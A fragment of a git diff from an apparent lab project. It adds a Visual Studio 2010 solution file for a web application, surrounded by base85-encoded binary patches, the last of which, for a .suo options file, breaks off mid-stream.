zl^p`!3(mdScI|$MGc+)=G`6)}cl-GP#6qdf;+eOmK$AQ8vOs|3yZ;0{AdddKcL0qTf}FF&2&MiI4{D6JeI}REnlJRe?`aD>!AdpBLkLv00oh9OpkA zAtg6EeFBjtrff?8311f}x1}u6Kt#shfDvhHXtA#E=qcDl$Ak*S(TnwjV7E9y&Ot+E z0S>X{{8(%Q^9ZdFZ3ft*dhlh2tfo-}j39`UHa09jaO@J97bRy3s2PeR2m}*^Wf2L( zQc;pKST{$+7z2QPvI3_uZL?2c%@EQcNNS(-_<~bd0S0pz{pKLCjD|t|N09tvx@;F4 z>xB}taiye-z2@Ksc7a043Sln8F)_|Gk|;xG(|`SG;PUMkZeJtKnOG1fq~P#6D6aZ8 zj6^9E${16Y*WEIHs{2C)yB(@3ceOJ-8RNbB3{*u1h`Oh7Ft}ee<;T_;D+j~nH)a_* z>&ZR5z%q*e)^Cm^!GJK!sEo2g891W;av?>dTkIpjLY9Cu=Y}Z5O@#qMYBS`tX6*Ja zAgg=f4ZzOqM<940SVTGu7P^1`2ls*K=V~NK3uEwQgm4u>A=tK`OIz6*8d!m-F}MVu z@9V`<0Jd1}$%G*pn%k@w%a!d0yI)B_Vnd~c@qogNBK#0BdTTe{jbhK#KxdMrof0dW@9i-914ru|(wV@TJW^YWKe^8pEE`Qo-cK0;K9Lx@6$A(hy zBlswEz+iv(L;u+#$c~*<_|K-ho{Z}G1EP|_IVrnAB3gnZfle;IFJX|zC=&x`D24U>W+OO|=*PF~>)V-*Z=NMQfY;5oG5Q~~#3e@~ z_}aO?mcl^Y$Qq|-4(Nhqpxr`8`1gMeHU0rL+)nAQYHB#1eR&ZC2?y{!fp)^xS1?K; z8~B$UNzHpel$!Z-79+qG0KL$;P;VFpySV}XP$(V_8#I{VqS;-S<{$`~F7N;W9d}1Y zU{H{zi_I2dSkd=(%*z8w>0pq7vNYequzpQUKa6wBI&L6di2sP!3M!Sn9$|5?2UrWI2M^cLUm>Z>#W^ zup^yubVOMjTA^iZOl&t2;SX&OlXS1}K3z8jk%<6N0)0%GT!sOkLs#KzK@x2MdJ0r-%t{z80+F`@1KOH#8^qY{X5ICO+&Xa5{X4s0cF*=33{l0%!Q9RX z`-yX;k*rciAA$Hpi37~9Hn+P*Y%mt~&L{^oCpQ-#7dMx+xeb@adU*a}?=V3#oR)Hd zq7;G9jKl^0DVxbxb#b>3&kcbPGWJvf7ylQCVep!uWC!8|go;D9o81|-Tv5oloL&RcWUc9aTn0Jux00G(~RF`02(4vjq z3j=En`O`&byywn>ZNiqa(KpIjF`Vc#}uLc`%7+1xugE1C2V^Bp=a1t~!9D=POeH<5yoB6d8Kb9T~ z;2oDB6bdL0084)oqP}$(7C@+t>;ECR`)LSL0I-jNM|9|G+sr+G%g0tT)JlAF*O4Z` zg1O~+5{pHK+IDXS$`N7#goYU8sTm76)bn~XJecUO;ZO%`Fv4ST15lIa%{M@O;ID7s zzhB;AaTidB;>~yQmKck>fCl={o`?k&>XEw{+YesjZ##f*RF_`~z0szyU_zZ?H#0TK zv0y^OZS#)*#XUd`RX5*5I>le#!;ekJCc80157d8gGkNw940-ERu(g(L+b!3}gWuf% zHEsZu)Lm2;_`qSX(&uGk2L+x-jqnnwxN3WaX x{Q2?!ci)zE0_fG?o0>;JVx8>UfUa%n$^57p=dhnjc3UnXD{{YCyqO|}3 literal 0 HcmV?d00001 diff --git a/lab3/cs_lab3/myWebApplication.sln b/lab3/cs_lab3/myWebApplication.sln new file mode 100644 index 0000000..8f8f965 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "myWebApplication", "myWebApplication\myWebApplication.csproj", "{C377A2FC-A352-4FA1-9994-906E3EAA132C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C377A2FC-A352-4FA1-9994-906E3EAA132C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C377A2FC-A352-4FA1-9994-906E3EAA132C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C377A2FC-A352-4FA1-9994-906E3EAA132C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C377A2FC-A352-4FA1-9994-906E3EAA132C}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/lab3/cs_lab3/myWebApplication.suo b/lab3/cs_lab3/myWebApplication.suo new file mode 100644 index 0000000000000000000000000000000000000000..bf0de0eb0be4f19d80f965276fa05a3128b2e8e6 GIT binary patch literal 153088 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 